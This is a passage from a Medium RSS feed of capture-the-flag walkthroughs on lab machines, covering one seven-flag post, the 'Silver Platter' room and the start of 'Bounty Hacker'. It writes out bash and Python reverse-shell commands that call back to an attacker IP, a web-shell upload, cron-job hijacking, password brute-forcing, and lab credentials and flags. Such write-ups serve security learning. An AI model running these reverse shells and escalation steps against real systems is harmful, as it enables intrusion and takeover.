&lt;target-ip address&gt; -- -A<br><br>rustscan: Runs the RustScan tool.<br><br>-a &lt;target-ip&gt;: Specifies the target IP address.<br><br>--: Passes the next options to nmap.<br><br><br>-A: Tells nmap to perform aggressive scan (OS detection, version detection, script scanning, traceroute).<br></pre><p>When I run the Rustscan, I saw there are 3 ports open it :</p><p><strong>Discovered open port 80/tcp on 10.10.3.189<br>Discovered open port 22/tcp on 10.10.3.189<br>Discovered open port 21/tcp on 10.10.3.189</strong></p><ul><li>These services are running on this target-ip as we all know Port 22 is for SSH and Port 21 for FTP</li></ul><p><strong>3. Directory Brute forcing</strong></p><ul><li>Using the FFUF tool, I got the robots.txt file and then I decided to check it</li></ul><pre>ffuf -u http://10.10.102.16/FUZZ -w /usr/share/wordlists/dirb/common.txt -t 50<br><br>        /&#39;___\  /&#39;___\           /&#39;___\       <br>       /\ \__/ /\ \__/  __  __  /\ \__/       <br>       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      <br>        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      <br>         \ \_\   \ \_\  \ \____/  \ \_\       <br>          \/_/    \/_/   \/___/    \/_/       <br><br>       v1.5.0-dev<br>________________________________________________<br><br> :: Method           : GET<br> :: URL              : http://10.10.102.16/FUZZ<br> :: Wordlist         : FUZZ: /usr/share/wordlists/dirb/common.txt<br> :: Follow redirects : false<br> :: Calibration      : false<br> :: Timeout          : 10<br> :: Threads          : 50<br> :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500<br>________________________________________________<br><br>.hta                    [Status: 403, Size: 277, Words: 20, Lines: 10, Duration: 196ms]<br>                        [Status: 200, Size: 4826, Words: 1154, Lines: 135, Duration: 1523ms]<br>.htpasswd               [Status: 403, Size: 277, Words: 20, Lines: 10, Duration: 3489ms]<br>.htaccess               [Status: 403, Size: 277, Words: 20, Lines: 10, Duration: 5526ms]<br>css                     [Status: 301, Size: 310, Words: 20, Lines: 10, Duration: 270ms]<br>images                  [Status: 301, Size: 313, Words: 20, Lines: 10, Duration: 181ms]<br>index.php               [Status: 200, Size: 4826, Words: 1154, Lines: 135, Duration: 2527ms]<br>robots.txt              [Status: 200, Size: 69, Words: 4, Lines: 4, Duration: 1137ms]<br>server-status           [Status: 403, Size: 277, Words: 20, Lines: 10, Duration: 727ms]<br>:: Progress: [4614/4614] :: Job [1/1] :: 152 req/sec :: Duration: [0:00:41] :: Errors: 0 ::</pre><ul><li>Here I found robots.txt let’s see what we going to see there</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/852/1*jatRIXYUvdHo2CEZnqcJTw.png" /></figure><ul><li>Here are seeing the flag_1.txt and this secret file</li><li>Now let’s see what we are going to see at those end points</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/652/1*zJXpfB-KM-TlY7TVcgQiwQ.png" /></figure><h3>HERE WE FOUND OUR FIRST FLAG</h3><ul><li>I see another endpoint there and let’s see what is happening there</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/898/1*wP8yCB0oP2zBzNy6Vg7Dzw.png" /></figure><ul><li>Here it is showing the forbidden Error</li><li>But We got one link at the starting while Enumerating let’s go there and see what we find there :</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4VmvfpxVP4dayRqOPcWsfA.png" /><figcaption>-</figcaption></figure><ul><li>Here In this it gives us the username and the passwoord</li><li><strong>ftpuser </strong>: <strong>givesmefiles777</strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Hv11GUWB33kM6CyzN8xM8w.png" /></figure><ul><li>I try to Execute some more commands here and see what I see there is <strong>Command Injection </strong>and <strong>Local File Inclusion Vulnerabilty (those vulnerabilities which we can exploit)</strong></li></ul><p><strong>Command Injection : </strong>A vulnerability that allows an attacker to execute system commands on the server through user input.</p><p><strong>Local File Inclusion (LFI) : </strong>A vulnerability where a user can include files from the server’s local file system via unsanitized input.</p><h3>Flag 2 Discovery</h3><ul><li>We got the username and password there let’s try to login through it with FTP and see what we are going to find there</li></ul><pre>ftp 10.10.102.16                                                                                                                                                                                                                        <br>Connected to 10.10.102.16.<br>220 (vsFTPd 3.0.5)<br>Name (10.10.102.16:piyush): ftpuser<br>331 Please specify the password.<br>Password: <br>230 Login successful.<br>Remote system type is UNIX.<br>Using binary mode to transfer files.<br>ftp&gt; ls -la<br>229 Entering Extended Passive Mode (|||49548|)<br>150 Here comes the directory listing.<br>dr-xr-xr-x    3 65534    65534        4096 Dec 03  2020 .<br>dr-xr-xr-x    3 65534    65534        4096 Dec 03  2020 ..<br>drwxr-xr-x    2 1001     1001         4096 Dec 03  2020 files<br>-rw-r--r--    1 0        0              21 Dec 03  2020 flag_2.txt<br>226 Directory send OK.<br>ftp&gt; get flag_2.txt<br>local: flag_2.txt remote: flag_2.txt<br>229 Entering Extended Passive Mode (|||43197|)<br>150 Opening BINARY mode data connection for flag_2.txt (21 bytes).<br>100% |***********************************************************************************************************************************************************************************************|    21      205.07 KiB/s    00:00 ETA<br>226 Transfer complete.<br>21 bytes received in 00:00 (0.09 KiB/s)<br>ftp&gt; cd files<br>250 Directory successfully changed.<br>ftp&gt; ls -la<br>229 Entering Extended Passive Mode (|||44183|)<br>150 Here comes the directory listing.<br>drwxr-xr-x    2 1001     1001         4096 Dec 03  2020 .<br>dr-xr-xr-x    3 65534    65534        4096 Dec 03  2020 ..<br>226 Directory send OK.<br>ftp&gt; put shell.php<br>local: shell.php remote: shell.php<br>229 Entering Extended Passive Mode (|||42063|)<br>150 Ok to send data.<br>100% |***********************************************************************************************************************************************************************************************|  5493        5.30 MiB/s    00:00 ETA<br>226 Transfer complete.<br>5493 bytes sent in 00:00 (12.02 KiB/s)</pre><ul><li>Here I done two things <strong>First of full I get the flag_2.txt</strong></li><li><strong>Second thing , I upload the shell.php here for the reverse_shell to the target as the link we found earlier in the page source accept the shell and we are able to get a shell there</strong></li></ul><h3><strong>Flag 3 Discovery</strong></h3><ul><li>Here I got the <strong>Reverse shell</strong>, Let’s see how I do it</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/770/1*-K6DzYHdm4RCB_ErHcd-xg.png" /></figure><ul><li>I upload the shell.php here, u have to put up the attackers ip and the port number here in the script</li><li>On my machine, I start the service of the netcat</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*S7Q_NasYAOeNGtR_ohChVA.png" /></figure><ul><li>Here I get the shell, Now to stablize I shell u should also follow these steps</li></ul><pre> python3 -c &#39;import pty; pty.spawn(&quot;/bin/bash&quot;)&#39;<br><br><br>After it press the ctrl+z command then enter these things<br><br>stty raw -echo; fg<br>export TERM=xterm</pre><ul><li>This is the way we can got a stablize shell, u should also follow up these steps if u want a stablize shell here</li><li>To Search the File , we can use the file command here</li></ul><pre>find / -type f -name &quot;flag_3.txt&quot; 2&gt;/dev/null<br><br>/: Start searching from the root directory.<br><br>-type f: Search only for files (not directories or other types).<br><br>-name &quot;flag_3.txt&quot;: Match the exact filename.<br><br>2&gt;/dev/null: Hide permission errors from output</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/599/1*UtlWSAYFhs3NvxpFKRZfZw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/650/1*XEMzwbN5EAwyKmKiCFOjYQ.png" /></figure><ul><li>Here we got our 3rd Flag also as we cat the path</li></ul><h3>Flag 4 Discovery</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/629/1*c13pfNN-Jr3oe8d97OwOnw.png" /></figure><ul><li>Here is the path comes let’s see if we directly access this thing or not</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/459/1*1T0E3O-gwsK8SSSIpxJkWQ.png" /></figure><ul><li>Here the permission is denied to access that thing</li><li>So we need to switch Toby as user let’s see how we can do that</li></ul><pre>www-data@ip-10-10-102-16:/$ sudo -u toby /bin/bash<br>toby@ip-10-10-102-16:/$ ls<br>bin    dev   initrd.img      lib64       mnt   root  snap      sys  var<br>boot   etc   initrd.img.old  lost+found  opt   run   srv       tmp  vmlinuz<br>cdrom  home  lib             media       proc  sbin  swap.img  usr  vmlinuz.old<br>toby@ip-10-10-102-16:/$ cd /home/toby<br>toby@ip-10-10-102-16:~$ ls<br>flag_4.txt  jobs  note.txt<br>toby@ip-10-10-102-16:~$ cat flag_4.txt <br>FLAG{chad_lifestyle}</pre><ul><li>Using this <strong>sudo -u toby /bin/bash , We Become toby and access our 4th flag also through our process</strong></li></ul><h3><strong>Flag 5 Discovery</strong></h3><ul><li>Here I see note.txt let’s try to read that</li></ul><pre>toby@ip-10-10-102-16:~$ cat note.txt<br>Hi Toby,<br><br>I&#39;ve got the cron jobs set up now so don&#39;t worry about getting that done.<br><br>Mat</pre><ul><li>This is the msg being show up here, Setting the cron job such that mat can do the beyond task after it</li></ul><pre>toby@ip-10-10-102-16:~$ find / -type f -name &quot;flag_5.txt&quot; 2&gt;/dev/null<br>/home/mat/flag_5.txt</pre><ul><li>After find command, we got to know if we want the 5th flag we have to login as the user mat which can we done using the crontab</li><li><strong>Crontab</strong> (cron table) is used in Linux to schedule tasks (called <strong>cron jobs</strong>) to run automatically at specific times or intervals. It’s commonly used for automating repetitive tasks like backups, updates, or scripts.</li><li>For Crontab to execute we just have to run the find the script and put up the reverse_shell there if we got the permission of write there</li></ul><pre>toby@ip-10-10-102-16:~$ cd jobs<br>toby@ip-10-10-102-16:~/jobs$ ls<br>cow.sh<br>toby@ip-10-10-102-16:~/jobs$ echo &quot;/bin/bash -i &gt;&amp; /dev/tcp/10.17.75.89/4444 0&gt;&amp;1&quot; &gt;&gt; cow.sh</pre><ul><li>Here after going to cron jobs, I found this file cow.sh and I embedd the reverse_shell script inside it and open the netcat in my kali machine</li></ul><pre>nc -lnvp 4444<br>listening on [any] 4444 ...<br>connect to [10.17.75.89] from (UNKNOWN) [10.10.102.16] 49672<br>bash: cannot set terminal process group (3427): Inappropriate ioctl for device<br>bash: no job control in this shell<br>mat@ip-10-10-102-16:~$</pre><ul><li>We have just seen that we logged as the mat user now just stablize the shell as we do before</li></ul><pre>mat@ip-10-10-102-16:~$ ls -la      <br>total 376<br>drwxr-xr-x 6 mat  mat    4096 Jun 25 09:38 .<br>drwxr-xr-x 7 root root   4096 Jun 25 08:29 ..<br>lrwxrwxrwx 1 root root      9 Dec  3  2020 .bash_history -&gt; /dev/null<br>-rw-r--r-- 1 mat  mat     220 Dec  3  2020 .bash_logout<br>-rw-r--r-- 1 mat  mat    3771 Dec  3  2020 .bashrc<br>drwx------ 2 mat  mat    4096 Dec  3  2020 .cache<br>-rw-r--r-- 1 mat  mat  270433 Dec  3  2020 cow.jpg<br>-rw-rw-r-- 1 mat  mat   60931 Jun 25 09:38 dev<br>-rw------- 1 mat  mat      37 Dec  3  2020 flag_5.txt<br>drwx------ 3 mat  mat    4096 Dec  3  2020 .gnupg<br>drwxrwxr-x 3 mat  mat    4096 Dec  3  2020 .local<br>-rw-r--r-- 1 will will    141 Dec  3  2020 note.txt<br>-rw-rw-r-- 1 mat  mat      21 Jun 25 09:38 null<br>-rw-r--r-- 1 mat  mat     807 Dec  3  2020 .profile<br>drwxrwxr-x 2 will will   4096 Dec  3  2020 scripts<br>mat@ip-10-10-102-16:~$ cat flag_5.txt <br>FLAG{live_by_the_cow_die_by_the_cow}</pre><ul><li>After running this, we even got our 5th flag</li></ul><h3><strong>Flag 6 Discovery</strong></h3><pre>mat@ip-10-10-102-16:~$ cat note.txt<br>Hi Mat,                                                                                                             <br>                                                                                                                    <br>I&#39;ve set up your sudo rights to use the python script as my user. You can only run the script with sudo so it should be safe.                                                                                                           <br>                                                                                                                    <br>Will                                                                                                                <br>mat@ip-10-10-102-16:~$ cd scripts                                                                                   <br>mat@ip-10-10-102-16:~/scripts$ ls                                                                                   <br>cmd.py  will_script.py                                                                                              <br>mat@ip-10-10-102-16:~/scripts$ ls -la                                                                               <br>total 16<br>drwxrwxr-x 2 will will 4096 Dec  3  2020 .<br>drwxr-xr-x 6 mat  mat  4096 Jun 25 09:38 ..<br>-rw-r--r-- 1 mat  mat   133 Dec  3  2020 cmd.py<br>-rw-r--r-- 1 will will  208 Dec  3  2020 will_script.py</pre><ul><li>Now Here I see the note.txt , In this I have to upload the python script in this so that user <strong>will </strong>will execute this script and logged as the user in it</li></ul><pre>echo &#39;import os, socket, pty; s=socket.socket(); s.connect((&quot;10.17.75.89&quot;, 3333)); [os.dup2(s.fileno(), fd) for fd in (0, 1, 2)]; pty.spawn(&quot;/bin/bash&quot;)&#39; &gt;&gt; cmd.py</pre><ul><li>This is the script which u will enter and try to execute it as the user will</li><li>As we run this script</li></ul><pre>sudo -u will /usr/bin/python3 /home/mat/scripts/will_script.py *</pre><ul><li>Also if u open the netcat with this port 3333 u come as will there :</li></ul><pre>nc -lnvp 3333<br>listening on [any] 3333 ...<br>connect to [10.17.75.89] from (UNKNOWN) [10.10.102.16] 45226<br>will@ip-10-10-102-16:/home/mat/scripts$ <br></pre><pre>cd /home/will                                                                                                       <br>will@ip-10-10-102-16:~$ ls -la                                                                                      <br>ls -la                                                                                                              <br>total 36                                                                                                            <br>drwxr-xr-x 5 will will 4096 Dec  3  2020 .                                                                          <br>drwxr-xr-x 7 root root 4096 Jun 25 08:29 ..                                                                         <br>lrwxrwxrwx 1 will will    9 Dec  3  2020 .bash_history -&gt; /dev/null                                                 <br>-rw-r--r-- 1 will will  220 Dec  3  2020 .bash_logout                                                               <br>-rw-r--r-- 1 will will 3771 Dec  3  2020 .bashrc                                                                    <br>drwx------ 2 will will 4096 Dec  3  2020 .cache                                                                     <br>drwxr-x--- 3 will will 4096 Dec  3  2020 .config<br>-rw------- 1 will will   41 Dec  3  2020 flag_6.txt<br>drwx------ 3 will will 4096 Dec  3  2020 .gnupg<br>-rw-r--r-- 1 will will  807 Dec  3  2020 .profile<br>-rw-r--r-- 1 will will    0 Dec  3  2020 .sudo_as_admin_successful<br>will@ip-10-10-102-16:~$ cat flag_6.txt   <br>cat flag_6.txt<br>FLAG{but_i_thought_my_script_was_secure}</pre><ul><li>Here I got my 6th Flag now here</li></ul><h3>Flag 7 Discovery</h3><pre>will@ip-10-10-102-16:/opt$ ls -la<br>ls -la<br>total 12<br>drwxr-xr-x  3 root root 4096 Dec  3  2020 .<br>drwxr-xr-x 24 root root 4096 Jun 25 08:29 ..<br>drwxrwx---  2 root adm  4096 Dec  3  2020 backups<br>will@ip-10-10-102-16:/opt$ cd backups<br>cd backups<br>will@ip-10-10-102-16:/opt/backups$ ls -la<br>ls -la<br>total 12<br>drwxrwx--- 2 root adm  4096 Dec  3  2020 .<br>drwxr-xr-x 3 root root 4096 Dec  3  2020 ..<br>-rw-rw---- 1 root adm  2270 Dec  3  2020 key.b64</pre><ul><li>Here , When I enumerate I see the key.b64 file which looks like the base 64 file then I try to decode this file and I got the private ssh key</li></ul><pre>base64 -d key.b64 &gt; id_rsa</pre><ul><li>This command saves the private key to id_rsa</li><li>Now logged in as the root and u r able to see the Final flag</li><li>Using ssh we are going to logged in as root</li></ul><pre>will@ip-10-10-102-16:/opt$ cd backups<br>cd backups<br>will@ip-10-10-102-16:/opt/backups$ ls <br>ls <br>id_rsa  key.b64<br>will@ip-10-10-102-16:/opt/backups$ ssh -i id_rsa root@10.10.102.16<br>ssh -i id_rsa root@10.10.102.16<br>Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.15.0-138-generic x86_64)<br><br> * Documentation:  https://help.ubuntu.com<br> * Management:     https://landscape.canonical.com<br> * Support:        https://ubuntu.com/pro<br><br> System information as of Wed 25 Jun 10:21:28 UTC 2025<br><br>  System load:  0.01               Processes:             178<br>  Usage of /:   28.4% of 18.53GB   Users logged in:       1<br>  Memory usage: 21%                IPv4 address for eth0: 10.10.102.16<br>  Swap usage:   0%<br><br><br>Expanded Security Maintenance for Infrastructure is not enabled.<br><br>0 updates can be applied immediately.<br><br>Enable ESM Infra to receive additional future security updates.<br>See https://ubuntu.com/esm or run: sudo pro status<br><br>Failed to connect to https://changelogs.ubuntu.com/meta-release. Check your Internet connection or proxy settings<br><br>Your Hardware Enablement Stack (HWE) is supported until April 2025.<br>                                                                                                                    <br>Last login: Wed Jun 25 10:07:07 2025 from 10.10.102.16                                                              <br>root@ip-10-10-102-16:~# ls -la                                                                                      <br>ls -la                                                                                                              <br>total 44                                                                                                            <br>drwx------  7 root root 4096 Apr 27 06:29 .                                                                         <br>drwxr-xr-x 24 root root 4096 Jun 25 08:29 ..                                                                        <br>lrwxrwxrwx  1 root root    9 Dec  3  2020 .bash_history -&gt; /dev/null                                                <br>-rw-r--r--  1 root root 3106 Apr  9  2018 .bashrc                                                                   <br>drwx------  2 root root 4096 Dec  3  2020 .cache                                                                    <br>-rw-r--r--  1 root root   31 Dec  3  2020 flag_7.txt<br>drwx------  3 root root 4096 Dec  3  2020 .gnupg<br>drwxr-xr-x  3 root root 4096 Dec  3  2020 .local<br>-rw-r--r--  1 root root  161 Jan  2  2024 .profile<br>-rw-r--r--  1 root root   66 Dec  3  2020 .selected_editor<br>drwx------  3 root root 4096 Apr 27 06:29 snap<br>drwx------  2 root root 4096 Dec  3  2020 .ssh<br>root@ip-10-10-102-16:~# cat flag_7.txt  <br>cat flag_7.txt</pre><ul><li>This is how u get into the root and get ur 7th flag . When u use the cat command u get to see ur 7th flag</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hNq190tHhY7_PRFbXBBITg.png" /></figure><ul><li>Thanks for watching it , Ur supports matters a lot!</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a8fad2512219" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Silver Platter CTF]]></title>
            <link>https://piyushbansal14.medium.com/silver-platter-ctf-2e5dd91f43d0?source=rss-602c579f34f5------2</link>
            <guid isPermaLink="false">https://medium.com/p/2e5dd91f43d0</guid>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[learning]]></category>
            <category><![CDATA[writeup]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[silver-platter-tryhackme]]></category>
            <dc:creator><![CDATA[Piyush Bansal]]></dc:creator>
            <pubDate>Fri, 14 Feb 2025 05:27:19 GMT</pubDate>
            <atom:updated>2025-02-14T05:27:19.973Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QIjJdMeGvcOL1LNutgdi3Q.png" /></figure><ul><li>Today, We are going to Solve this Interesting CTF. Every Part of it is quite interesting , Let’s see what inside it…</li></ul><h3><strong>Start with Nmap Scan</strong></h3><pre>nmap -p- -T5 -v &lt;Target ip&gt;</pre><ul><li>Firstly, We run this block of code to see what ports are open in the target ip address</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/879/1*6RTvCTw_qj_ukGZSX_xt6g.png" /></figure><ul><li>As u see, there are three services running over there, For me the Most interesting one is <strong>Port 22</strong> For SSH Service</li><li>When we scan further on Nmap, we got to see this information :</li><li>As u see we Aggressive Scan it, So it can cover all the other information of whatever Port we mentioned out</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/675/1*5cFf-KYXYi3EB4R7jdT7RQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Z4BtUkSI5Wyd7GUMb79DYQ.png" /></figure><h3><strong>Port 80</strong></h3><ul><li>When I go to Port 80, I see some static html website is over there…After Further Enumeration I get to know about some information</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fxOJ16dcDUfe8mCN4fO7ew.png" /></figure><ul><li>So Here, I got to know about some information there. Firstly , there is a company I think which named “ <strong>Silverpeas</strong>” and the other name is the username which is “<strong>scr1ptkiddy</strong>”</li><li>Further After Gobuster scan, doesn’t get any kind of good information there</li></ul><h3><strong>Port 8080</strong></h3><ul><li>On Port 8080, I Don’t get anything but just only this 404 Error in it</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Tr_cyqXNgRW3BnLGD59SEw.png" /></figure><ul><li>After that We Perform the Gobuster scan on this 8080 Port, Let’s see what type of information I get from it..</li></ul><pre>gobuster dir -u http://10.10.152.38:8080 -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -t 100 </pre><ul><li>So this command I used, Here -t signifies for the thread I used for the Fast Computation.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/734/1*K6wGdzjuS28iwK-h3pyAeQ.png" /></figure><ul><li>Here we got these two directories “/website” and “/console” but after going to these endpoints doesn’t get any type of information as they are showing some Forbidden Error</li><li>So After using a bit more tool, doesn’t get a desired endpont. Then I remember Earlier that I get a information of “silverpeas”. So Randomly, I just tried that “<strong>/Silverpeas</strong>” and boom we got our Login page there :</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VzeqkKIzims8wWHAegvIQQ.png" /></figure><ul><li>Now it’s time to see Where I can get my password because we already have the username . For this, they Delievered the clue for us :</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kKuH7TEuUSCMSHeT7GPJJQ.png" /></figure><ul><li>Here, U can see they are referring to some kind of Wordlist other than rockyou.txt. They clearly mentioned about that ‘cool’ which is cuel in real. So let’s see</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/748/1*oUcMXaAmBpK_45K1bGY8OA.png" /></figure><ul><li>Here u can see we got our custom wordlists and we have the username too so it is quite easy for us to go now…</li></ul><h3><strong>Bruteforcing through Burp Suite..</strong></h3><ul><li>Here After intercepting the request, We are bruteforcing for the Passowrd for the Username “scr1ptkiddy” and We got Our Password here which is “adipiscing”.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8LV-YbIACMAUg5_9vir8Ew.png" /></figure><ul><li>Here We got our Silverpeas page ,</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QLCkmOhnqojvNVt8ku9XvA.png" /></figure><ul><li>After looking at it, I thing I found interesting in it which is this “1 Unread notification”</li><li>After clicking on it, Clicking on one or two more things ,</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yr7Cef27dyv1cRQFlwSo0A.png" /></figure><ul><li>This Page comes, Where I can see this id Parameter. Also If u go to silverpeas Githhub , U can find the listing :</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/764/1*iyx6hYPCH9nMrI03NiCdBg.png" /></figure><ul><li>In this there are 8 CVE’s contains all the information out there…</li><li>Here at the 4th point ,I see one thing Where there is Broken access control…</li><li>I also found something similar like that , so I thought let’s check to change the id parameter, When I changed the id parameter, I got to know something u wanna know …let’s see</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*X1yk2b9sct1EO6gd7lPtAA.png" /></figure><ul><li>Here , I get some information out there..</li><li>Here u see we got our username and password For the SSH service, Let’s Try to login through it</li></ul><p>Username : tim</p><p>Password : cm0nt!md0ntf0rg3tth!spa$$w0rdagainlol</p><ul><li>Actually My machine been terminated and I didn’t notice it so that’s why u see the change in ip in the ongoing process</li><li><strong>Let’s Try Login via SSH :</strong></li></ul><pre>ssh tim@10.10.236.182<br>The authenticity of host &#39;10.10.236.182 (10.10.236.182)&#39; can&#39;t be established.<br>ED25519 key fingerprint is SHA256:WFcHcO+oxUb2E/NaonaHAgqSK3bp9FP8hsg5z2pkhuE.<br>This key is not known by any other names.<br>Are you sure you want to continue connecting (yes/no/[fingerprint])? yes<br>Warning: Permanently added &#39;10.10.236.182&#39; (ED25519) to the list of known hosts.<br>tim@10.10.236.182&#39;s password: <br>Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-91-generic x86_64)</pre><pre>tim@silver-platter:~$ ls<br>user.txt<br>tim@silver-platter:~$ cat user.txt<br>THM{c4ca4238a0b923820dcc509a6f75849b}</pre><ul><li>Here , this is how We get Our First Flag of user.txt</li></ul><h3><strong>Time To Privilege Escalation</strong></h3><ul><li>Here Firstly We search the id parameter there in this, we got the adm. Now when we search this adm for linux , We get some of the information there :</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/859/1*QonrloB31ari-j-u3R__wQ.png" /></figure><ul><li>That those /var/log files are enabled to read so it’s a good chance for us. After going there , I Performed the command</li></ul><pre>grep -ir &quot;password&quot;<br><br>This can collect all that words from these Log Files</pre><pre>auth.log:Feb 14 04:48:54 silver-platter sshd[2086]: Accepted password for tim from 10.17.75.89 port 45212 ssh2<br>auth.log.2:Dec 12 19:34:46 silver-platter passwd[1576]: pam_unix(passwd:chauthtok): password changed for tim<br>auth.log.2:Dec 12 19:39:15 silver-platter sudo:    tyler : 3 incorrect password attempts ; TTY=tty1 ; PWD=/home/tyler ; USER=root ; COMMAND=/usr/bin/apt install nginx<br>auth.log.2:Dec 13 15:39:07 silver-platter usermod[1597]: change user &#39;dnsmasq&#39; password<br>auth.log.2:Dec 13 15:39:07 silver-platter chage[1604]: changed password expiry for dnsmasq<br>auth.log.2:Dec 13 15:40:33 silver-platter sudo:    tyler : TTY=tty1 ; PWD=/ ; USER=root ; COMMAND=/usr/bin/docker run --name postgresql -d -e POSTGRES_PASSWORD=_Zd_zx7N823/ -v postgresql-data:/var/lib/postgresql/data postgres:12.3<br>auth.log.2:Dec 13 15:44:30 silver-platter sudo:    tyler : TTY=tty1 ; PWD=/ ; USER=root ; COMMAND=/usr/bin/docker run --name silverpeas -p 8080:8000 -d -e DB_NAME=Silverpeas -e DB_USER=silverpeas -e DB_PASSWORD=_Zd_zx7N823/ -v silverpeas-log:/opt/silverpeas/log -v silverpeas-data:/opt/silvepeas/data --link postgresql:database sivlerpeas:silverpeas-6.3.1<br>auth.log.2:Dec 13 15:45:21 silver-platter sudo:    tyler : TTY=tty1 ; PWD=/ ; USER=root ; COMMAND=/usr/bin/docker run --name silverpeas -p 8080:8000 -d -e DB_NAME=Silverpeas -e DB_USER=silverpeas -e DB_PASSWORD=_Zd_zx7N823/ -v silverpeas-log:/opt/silverpeas/log -v silverpeas-data:/opt/silvepeas/data --link postgresql:database silverpeas:silverpeas-6.3.1<br>auth.log.2:Dec 13 15:45:57 silver-platter sudo:    tyler : TTY=tty1 ; PWD=/ ; USER=root ; COMMAND=/usr/bin/docker run --name silverpeas -p 8080:8000 -d -e DB_NAME=Silverpeas -e DB_USER=silverpeas -e DB_PASSWORD=_Zd_zx7N823/ -v silverpeas-log:/opt/silverpeas/log -v silverpeas-data:/opt/silvepeas/data --link postgresql:database silverpeas:6.3.1<br>auth.log.2:Dec 13 16:17:31 silver-platter passwd[6811]: pam_unix(passwd:chauthtok): password changed for tim</pre><ul><li>When u scroll the above blockcode, U can get the Password which is <strong>_Zd_zx7N823/</strong></li><li>Firstly, We switch to Our Tyler account, using the “su” command</li></ul><pre>tim@silver-platter:/home$ su tyler<br>Password: <br>tyler@silver-platter:/home$ ls<br>tim  tyler<br><br></pre><pre>root@silver-platter:/home# cd tyler<br>root@silver-platter:/home/tyler# ls<br>root@silver-platter:/home/tyler# id<br>uid=0(root) gid=0(root) groups=0(root)<br>root@silver-platter:/home/tyler# ls<br>root@silver-platter:/home/tyler# cd /rooot<br>bash: cd: /rooot: No such file or directory<br>root@silver-platter:/home/tyler# cd /root<br>root@silver-platter:~# ls<br>root.txt  snap  start_docker_containers.sh<br>root@silver-platter:~# cat root.txt<br>THM{098f6bcd4621d373cade4e832627b4f6}<br>root@silver-platter:~#</pre><ul><li>That root thing I do using, Firstly check the command sudo -l of what kind of permissions it have, it shows user tyler plays any kind of command.</li><li>From there, I switched the user back to tim.</li><li>I go to the root and here we got our root.txt Flag</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*N2zR3CcXXxbkqKgO5-Liqw.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2e5dd91f43d0" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Bounty Hacker CTF]]></title>
            <link>https://piyushbansal14.medium.com/bounty-hacker-ctf-72f4b2b1dba8?source=rss-602c579f34f5------2</link>
            <guid isPermaLink="false">https://medium.com/p/72f4b2b1dba8</guid>
            <category><![CDATA[walkthrough]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[bounty-hacker-tryhackme]]></category>
            <category><![CDATA[journey]]></category>
            <category><![CDATA[ctf]]></category>
            <dc:creator><![CDATA[Piyush Bansal]]></dc:creator>
            <pubDate>Mon, 10 Feb 2025 09:36:57 GMT</pubDate>
            <atom:updated>2025-02-10T09:36:57.817Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*W6VnRKtrnw4U6FtUr4dGLA.png" /></figure><p>This is a Easy level Room let’s see what inside it :</p><p><strong>Task 1</strong> : <strong>Deploy the Machine :</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*B7GdqyQky3ecpc7evu2wCw.png" /></figure><ul><li>So We see here, we already Started the machine</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*v3tFh-7yeXTDmhmmuMKdZw.png" /></figure><p>So Our First Task is completed</p><p><strong>Task 2</strong> : <strong>Find open ports on the machine</strong></p><p>Ans : We can find the open ports using the Nmap scan and let’s see what inside it</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*afOQBCfqteQD5rk7MEAjkQ.png" /></figure><p>So Here through the Nmap scan, we get to know there are three ports which are open :</p><ul><li>21 FTP(Anonymous Login Allowed)</li><li>22 SSH</li><li>80 HTTP Port 